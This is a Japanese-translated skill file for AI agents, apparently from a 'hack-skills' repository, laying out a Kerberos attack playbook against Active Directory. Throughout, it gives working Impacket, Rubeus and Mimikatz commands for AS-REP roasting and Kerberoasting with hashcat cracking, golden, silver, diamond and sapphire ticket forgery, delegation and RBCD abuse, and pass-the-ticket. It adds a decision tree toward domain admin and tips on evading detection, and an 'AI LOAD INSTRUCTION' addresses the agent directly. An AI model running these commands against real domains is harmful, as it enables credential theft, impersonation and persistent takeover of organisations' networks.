active-directory-kerberos-attacks
Active DirectoryのKerberos認証を標的とした攻撃プレイブック。AS-REP roasting、Kerberoasting、ゴールデン/シルバー/ダイアモンドチケット、委任の悪用、またはpass-the-ticket攻撃によってAD認証を攻撃する際に使用します。
description の原文を見る
>- Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
SKILL.md 本文
SKILL: Kerberos Attack Playbook — AD攻撃エキスパートガイド
AI LOAD INSTRUCTION: AD環境向けKerberos攻撃の高度なテクニック。AS-REP roasting、Kerberoasting、golden/silver/diamond/sapphire tickets、委任攻撃、pass-the-ticket、overpass-the-hashをカバー。基本モデルではticket typeの区別、委任チェーンのニュアンス、検出回避のトレードオフを見落とします。
0. 関連ルーティング
深く掘る前に、以下の読み込みを検討してください:
active-directory-acl-abuse— Kerberos悪用と組み合わせることの多いACLベースのAD攻撃向けactive-directory-certificate-services— ADCSベースの永続化(ゴールデン証明書)向けntlm-relay-coercion— Kerberos悪用を補完するNTLMリレー攻撃向けwindows-lateral-movement— ticket取得後の横展開向け
高度なリファレンス
以下が必要な場合、KERBEROS_ATTACK_CHAINS.mdも読み込んでください:
- Kerberos、ACL悪用、ADCS、relayを組み合わせた複数ステップの攻撃チェーン
- footholdsからドメイン管理者までのエンドツーエンドシナリオ
- チェーン型委任攻撃フロー
1. KERBEROS認証入門
Client KDC (DC) Service
│ │ │
│── AS-REQ ────────→│ │ (1) User認証情報付きTGT要求
│←─ AS-REP ─────────│ │ (2) TGT受信(krbtgt hashで暗号化)
│ │ │
│── TGS-REQ ───────→│ │ (3) TGT提示、サービス ticket要求
│←─ TGS-REP ────────│ │ (4) TGS受信(service hashで暗号化)
│ │ │
│── AP-REQ ─────────────────────────────→│ (5) サービスにTGS提示
│←─ AP-REP ──────────────────────────────│ (6) 相互認証(オプション)
2. AS-REP ROASTING
「Kerberos事前認証を要求しない」に設定されたユーザーはパスワードを知らなくても、AS-REPを照会できます。
脆弱なユーザーを列挙
# Impacket — Linuxから実行
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
# Impacket — ドメイン認証情報付き(自動列挙)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request
# Rubeus — Windowsから実行(ドメイン参加済み)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# PowerView — ユーザーを列挙
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
AS-REP hashをクラック
# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule
# John
john asrep.txt --wordlist=rockyou.txt
3. KERBEROASTING
任意のドメインユーザーがSPN付きアカウントのTGSを要求できます。TGSはサービスアカウントのNTLM hashで暗号化されています。
サービス ticketを要求
# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt
# Rubeus(Windows上)
Rubeus.exe kerberoast /outfile:tgs.txt
# Rubeus — 特定SPN/高価値アカウントをターゲット
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt
# PowerView + 手動要求
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
TGS hashをクラック
# Hashcat mode 13100 (RC4) または 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule
# RC4 ticketはAES256より高速にクラック可能 — 可能ならRC4をターゲット
# Rubeus: /tgtdelega は一部設定でRC4を強制
Rubeus.exe kerberoast /tgtdeleg
4. TICKET偽造 — GOLDEN, SILVER, DIAMOND, SAPPHIRE
ゴールデン Ticket
krbtgt hashを使用してTGTを偽造 → 存在しないユーザーを含む任意のユーザーになりすまし。
# Impacket — ゴールデン ticketを偽造
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt
# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
前提条件: krbtgt NTLM hash(DCSync または NTDS.dit から取得) 永続性: krbtgt パスワード変更2回分まで有効
シルバー Ticket
サービスアカウントのhashを使用してTGSを偽造 → 特定サービスのみアクセス、KDC相互作用なし。
# Impacket — CIFS(ファイル共有)用シルバー ticketを偽造
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator
# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt
| ターゲットサービス | SPN形式 | 使用例 |
|---|---|---|
| ファイル共有 | cifs/host | SMB共有へのアクセス |
| WinRM | http/host | リモートPowerShell |
| LDAP | ldap/dc | DCSyncのようなクエリ |
| MSSQL | MSSQLSvc/host:1433 | データベースアクセス |
| Exchange | http/mail.domain.com | メールボックスアクセス |
ダイヤモンド Ticket
正当に発行されたTGTを修正 → ゴールデン ticketより検出が困難。
# Rubeus — 実際のTGTを要求してから PAC を修正
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt
利点: ticketのメタデータ(タイムスタンプ、encタイプ)が実際のTGT発行と一致。
サファイア Ticket
S4U2Selfを使用してターゲットユーザーの実PAC を取得し、偽造 ticketに埋め込み。
# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt
利点: PACはKDCからの本物のコピーなため、検出が極めて困難。
5. 委任攻撃
無制限委任(Unconstrained Delegation)
無制限委任を持つホストはメモリ内にユーザーTGTを保存します。
# 列挙(PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname
# Admin認証を強制 → TGT取得(Rubeus monitorモード)
Rubeus.exe monitor /interval:5 /nowrap
# PrinterBug / PetitPotam経由でトリガー → DCが認証 → TGT取得
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com
制限付き委任(Constrained Delegation, S4U2Proxy)
# 列挙
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto
# S4U2Self + S4U2Proxy → 許可されたサービスに対して任意ユーザーとしてTGSを取得
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP
# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt
リソースベース制限付き委任(RBCD)
ターゲットの msDS-AllowedToActOnBehalfOfOtherIdentity への書き込みアクセスが必要。
# 1. マシンアカウントを作成または制御(MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password
# 2. ターゲットにRBCDを設定
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password
# 3. 制御下のアカウントからS4U2Self + S4U2Proxy
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP
# 4. ticketを使用
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/administrator@TARGET.DOMAIN.COM
6. PASS-THE-TICKET & OVERPASS-THE-HASH
パス・ザ・Ticket
# Impacket — .ccache ticketを使用
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
# Mimikatz — .kirbi ticketをセッションに注入
kerberos::ptt ticket.kirbi
# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob
オーバーパス・ザ・ハッシュ(パス・ザ・キー)
NTLM hashを使用してKerberos TGTを要求 → 純粋なKerberos認証(NTLMログを回避)。
# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache
# Rubeus(Windows上)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt
# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe
7. KERBEROS ダブルホップ問題
2ホップ(A → B → C)を経由してKerberos認証する場合、デフォルトではBはAの認証情報をCに転送できません。
解決策
| 方法 | 仕組み | リスク |
|---|---|---|
| CredSSP | Bに実認証情報を送信 | 認証情報露出 |
| B上の無制限委任 | BがAのTGTを保存 | 過度な権限 |
| 制限付き委任 | BがCへの委任を許可 | 推奨 — スコープ限定 |
| RBCD | CがBの委任を信頼 | モダン、柔軟 |
| ネストされた Invoke-Command | ネストセッションの -Credential パラメータ | スクリプトでパスワード露出 |
8. KERBEROS攻撃デシジョンツリー
AD環境 — Kerberos をターゲット
│
├── ドメインユーザー認証情報を保有?
│ ├── Kerberoast → サービスアカウント hashをクラック(§3)
│ ├── 事前認証なしユーザーを列挙 → AS-REP roast(§2)
│ ├── 委任を列挙 → unconstrained/constrained/RBCD(§5)
│ └── 高価値アカウントのSPNを列挙
│
├── サービスアカウント hashを保有?
│ ├── そのサービス用シルバー ticket(§4)
│ └── 制限付き委任の場合 → S4U2Proxyチェーン(§5)
│
├── krbtgt hashを保有?
│ ├── ゴールデン ticket → 任意ユーザー、任意サービス(§4)
│ ├── ダイヤモンド ticket → よりステルスな偽造(§4)
│ └── サファイア ticket → 最も検出が困難(§4)
│
├── 無制限委任を持つホストが侵害された?
│ ├── 入信TGTをmonitor(Rubeus monitor)
│ ├── DC認証を強制(PrinterBug/PetitPotam)
│ └── DC TGTをキャプチャ → DCSync
│
├── ターゲットの msDS-AllowedToActOnBehalfOfOtherIdentity に書き込み可能?
│ └── RBCD攻撃(§5)→ マシンアカウント作成 + 委任
│
├── NTLM hashは保有するがKerberos認証が必要?
│ └── オーバーパス・ザ・ハッシュ → TGT要求(§6)
│
└── .kirbi / .ccache ticketを保有?
└── パス・ザ・Ticket → 直接使用(§6)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。